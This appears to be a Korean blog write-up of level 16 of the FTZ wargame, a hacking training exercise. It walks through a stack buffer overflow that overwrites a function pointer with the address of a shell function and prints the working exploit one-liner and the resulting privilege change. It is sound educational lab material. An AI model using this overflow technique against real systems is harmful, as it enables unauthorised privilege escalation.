FTZ level16
-hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <stdio.h> void shell() { setreuid(3097,3097); system("/bin/sh"); } void printit() { printf("Hello there!\n"); } main(){ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); } | cs |
간단한 문제다
void (*call)()=printit;
포인터 함수 *call이 사용자 정의 함수 printit의 주소를 가르키고 있으므로
함수 shell의 시작주소를 대신 채워주면 쉘을 획득할 수 있다.
gdb로 shell함수를 디스어셈블해보면
0x080484d0 <shell+0>: push %ebp
함수 shell의 시작주소는 0x080484d0이다
buf와 *call의 거리는 level15처럼 구하면
40이므로 40개를 채워주고 shell함수의 주소를 채우면
(python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
성공
my-pass
Level17 Password
'System > FTZ' 카테고리의 다른 글
FTZ level15 (0) | 2015.03.17 |
---|---|
FTZ level14 (0) | 2015.03.17 |
FTZ level13 (0) | 2015.03.17 |
FTZ level12 (0) | 2015.03.17 |
FTZ level11 (0) | 2015.03.17 |